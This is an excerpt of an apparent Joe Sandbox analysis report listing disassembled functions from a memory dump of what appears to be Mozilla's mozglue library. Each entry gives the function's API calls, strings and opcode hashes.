Opcode Fuzzy Hash: f06e72f119bf78f6c265325d299cada9a18929326a7479db209f09b47ab699d7
Instruction Fuzzy Hash: DFF1B171A18B408FC716DF39C89062BB7F5AFD6384F05C72EF84AA7651DB3198428B85

Function 6C5E9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5E9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5EA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5EA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5EA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EA8B1, 6C5EA8D4, 6C5EA8EF

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: f0d4fd467ba227a40f93ea2c0906b2bebe933cf27ac21a239fa50ef557e54041
Instruction ID: 2571e85fbb35e72c04452f6da452d208cbdd8e737d1d43edb2f1d2a01b9454b5
Opcode Fuzzy Hash: f0d4fd467ba227a40f93ea2c0906b2bebe933cf27ac21a239fa50ef557e54041
Instruction Fuzzy Hash: 0B726A72A056118FD718CF29C940615FFF1BF89328F29C6ADE8699B791D335E842CB80

Function 6C612C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C612C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C612C61

Part of subcall function 6C5C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5C4E5A
Part of subcall function 6C5C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C612C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C612E2D

Part of subcall function 6C5D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5D81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C612E3B
(root), xrefs: 6C61354F
expected a Time entry, xrefs: 6C612E36

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 7e2c683ac84060e410ac967c37e22c7346d5a6e405e6c22712da82db19b200dd
Instruction ID: ef2dcc30d764560abbf90830df5afec3147ae580a629a40c88572276322aab08
Opcode Fuzzy Hash: 7e2c683ac84060e410ac967c37e22c7346d5a6e405e6c22712da82db19b200dd
Instruction Fuzzy Hash: 0191A0B060C7418FD724DF28C48469EB7E1AFCA358F50892DE59A8BB50DB30D949CB5A

Function 6C629E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C629F3D
__aulldiv.LIBCMT ref: 6C629F77
__aullrem.LIBCMT ref: 6C629F8C
__aulldiv.LIBCMT ref: 6C62A023

Strings

NaN, xrefs: 6C629EAB
-Infinity, xrefs: 6C629E60, 6C629E7B

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 858b7335669777fbcddb25a8431ccfd8ac8cf1ed17db213ee85d151683458ff8
Instruction ID: a6b6ccc1b9b5c11cf5d9d8c0b4c60bcc8cf5f6948b88949e5dd166c71c2ac321
Opcode Fuzzy Hash: 858b7335669777fbcddb25a8431ccfd8ac8cf1ed17db213ee85d151683458ff8
Instruction Fuzzy Hash: 37C1BD71E00319CBDB14CFA8C894BEEB7B6AB84318F144529D405ABB81D7B8AD49CF95

Function 6C5CD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C5CDC08
9, xrefs: 6C5CDE7F
1, xrefs: 6C5CDBDD
-, xrefs: 6C5CD7DD
0, xrefs: 6C5CD852
0, xrefs: 6C5CDC7F
@, xrefs: 6C5CDAF6
, xrefs: 6C5CDA88

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: e87498201f0b0d893954415be5dd9bc969621e6cfeda3e83f4ef611707e00ec6
Instruction ID: adc9b12200336557db5a61545e90a91351b0bd6fb09d3cfb7affbf44b336df61
Opcode Fuzzy Hash: e87498201f0b0d893954415be5dd9bc969621e6cfeda3e83f4ef611707e00ec6
Instruction Fuzzy Hash: 1362BD7578C3458FD701CE99C8D076ABBF2AF86358F184A0DE8D58BA91D3359885CB83

Function 6C63545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C638A4B

Strings

~q\l, xrefs: 6C639459, 6C6356C7, 6C635740, 6C639269, 6C635703, 6C63921F, 6C63948F

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset
String ID: ~q\l
API String ID: 2221118986-2912761343
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 23e043e57dc217da980821c20eb9e39ac25a4ca704f9ada4a9d1895217c2ff4a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: C3B1D572A0422A8FDB14CE68CC907D9B7B2EF85314F1822AAC54DDB791D730A985CB94

Function 6C63542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C63925C

Strings

~q\l, xrefs: 6C639459, 6C6356C7, 6C635740, 6C639269, 6C635703, 6C63921F, 6C63948F

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset
String ID: ~q\l
API String ID: 2221118986-2912761343
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 0a84fddbd78b354d0c553af492b182b6f2fc5916700281fe00f5931bf5ec5a11
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 2BB1D672E0421ACFDB14CF58CC816EDB7B2EF85314F14126AC949EB795D730A989CB94

Function 6C5CBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5CC1CB
__aulldiv.LIBCMT ref: 6C5CC24C
__aulldiv.LIBCMT ref: 6C5CC348
__aullrem.LIBCMT ref: 6C5CC365
__aulldiv.LIBCMT ref: 6C5CC37D

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ea6ae62909d3425e6ea4dea8262ff3b59d98889c543917d1d194f0f21c1b5e35
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: B7322532B046118FC718DE6CC890A5ABBE6AFC9310F09867DE895DB395D734ED05CB91

Function 6C606CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C606D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C606E1E

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9a5322796db00c5436d4d71ef8217100cbea9abd617bdd2e7fdec6a9f97f10ff
Instruction ID: 6f1aada7e48c7730b00fd70403c2b65579dce0f29b24559aed90b62e0cae2127
Opcode Fuzzy Hash: 9a5322796db00c5436d4d71ef8217100cbea9abd617bdd2e7fdec6a9f97f10ff
Instruction Fuzzy Hash: F7A180706183818FC719CF25C5907AEFBE2BF89308F44491DE88A97B51DB70E849CB96

Function 6C5E4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5E4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E5585, 6C5E55A8, 6C5E55C3, 6C5E5624

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 3c81075037418990854b9400eb71c81a07b40d6921a129d3cb5fb1407638eb77
Instruction ID: 688bc510daeede934bc06b079bcbd8018d85cdba05cd1fb451d4dcb8abf40aa1
Opcode Fuzzy Hash: 3c81075037418990854b9400eb71c81a07b40d6921a129d3cb5fb1407638eb77
Instruction Fuzzy Hash: FEB24C71A057018FD708CF19C990615BBE2BFC9328F29C7ADE46A8B7A5D771E841CB81

Function 6C6285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C628C7C
__aulldiv.LIBCMT ref: 6C628DD7

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 19ffe008ecafb52648a9776aebf0e11e60013f91cc70665a021739d132c0b744
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7E327372F011198BDF18CE9CC8A1BAEB7B2FB88304F15853AD506BB7A0D6385D458F95

Function 6C6376E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q\l, xrefs: 6C637796, 6C6379FB, 6C6379C0, 6C637E0B, 6C637B0B, 6C63793C

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: ~q\l
API String ID: 0-2912761343
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 8b3aee515b7aec1e21211c5421b396390ef2946d6474ce8363091e56ca218689
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: E3320871E00629CFCB14CF98C990A9DF7F2BF88308F549169C949A7745D731A986CF94

Function 6C636E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q\l, xrefs: 6C6379FB, 6C6379C0, 6C637C72, 6C637C03, 6C637E0B, 6C637B0B, 6C63793C

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: ~q\l
API String ID: 0-2912761343
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 914340d79fd6a158429c4a727edae85139db6b746516b631a2b629be3e0283cd
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822D771E00229CFDB14CF98C980A9DF7F2BF89304F6491AAC549A7745D731A986CF94

Function 6C605C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5D4A63,?,?), ref: 6C605F06

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 52f0fd8201af3482fae850519b85c674c2db3986549c8bf5f4599487d02f73ed
Instruction ID: 68341ea4aced98efbe536f7db206bc722c2521dc640a5740f907d79e7ea94445
Opcode Fuzzy Hash: 52f0fd8201af3482fae850519b85c674c2db3986549c8bf5f4599487d02f73ed
Instruction Fuzzy Hash: 79C19E75E012098BCB08CF55C6906DEBBF2FF8A318F288159D8557BB44D731A806CF98

Function 6C5F0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3945af931951f740eaf189df7d3033ed920ecd74ef54b6a6e6def6ac4bccceca
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 4B222875E00619CFDB18CF98C890AADF7B2FF88304F588699C45AA7745D770A986CF90

Function 6C63AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e4b758ba90b277adb51f8cf46a08b64a47432b1e657a7b1a02790b47ab8714
Instruction ID: bb68ae06108836c480beb54ce5e8cc186aaef97af16b4e23b263b537b81c23f3
Opcode Fuzzy Hash: c0e4b758ba90b277adb51f8cf46a08b64a47432b1e657a7b1a02790b47ab8714
Instruction Fuzzy Hash: 24F16B71A087554FDB00CE68C8807AAB7E2AFC6318F15BA1DE4D8877C2E374D8459796

Function 6C5CC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: c905c75cdbf882fae34d2adaaf600d87b122e757dd3fd2a1cd698485a536b837
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 2AA19071F0061A8BDB08CEA9C8913AEB7F2EFC9354F18812DD915E7781D734AC068B91

Function 6C6255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C5FE1A5), ref: 6C625606
LoadLibraryW.KERNEL32(gdi32,?,6C5FE1A5), ref: 6C62560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C625633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C62563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C62566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C62567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C625696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C625716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C62572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C625748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C625761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C62577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C625793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6257FF

Strings

ReleaseDC, xrefs: 6C625742
GetDpiForWindow, xrefs: 6C625690
RegisterClassW, xrefs: 6C6256AC
ShowWindow, xrefs: 6C6256DE
DeleteObject, xrefs: 6C6257F9
LoadIconW, xrefs: 6C62575B
GetSystemMetricsForDpi, xrefs: 6C625677
GetWindowDC, xrefs: 6C625710
FillRect, xrefs: 6C625729
LoadCursorW, xrefs: 6C625774
StretchDIBits, xrefs: 6C6257CC
EnableNonClientDpiScaling, xrefs: 6C625666
SetWindowPos, xrefs: 6C6256F7
CreateSolidBrush, xrefs: 6C6257E4
user32, xrefs: 6C625601
GetMonitorInfoW, xrefs: 6C6257A2
AreDpiAwarenessContextsEqual, xrefs: 6C625637
MonitorFromWindow, xrefs: 6C62578D
SetWindowLongPtrW, xrefs: 6C6257B7
CreateWindowExW, xrefs: 6C6256C5
gdi32, xrefs: 6C62560A
GetThreadDpiAwarenessContext, xrefs: 6C62562D

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 68870181e7c17f378a9d2c322bba0a5ffcaade0fc7338bb7e1458283a2a12dc5
Instruction ID: cba89f1ec1eb1670f240a34d2a03f70f92a1dc0406add6d97c23997835cd278d
Opcode Fuzzy Hash: 68870181e7c17f378a9d2c322bba0a5ffcaade0fc7338bb7e1458283a2a12dc5
Instruction Fuzzy Hash: 0C515A707117129BDB10AF3A8D84D2A3AF8EB9638DF50D425E921D2A55EF78C801CF6D

Function 6C60CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5D582D), ref: 6C60CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5D582D), ref: 6C60CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C63FE98,?,?,?,?,?,6C5D582D), ref: 6C60CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC82
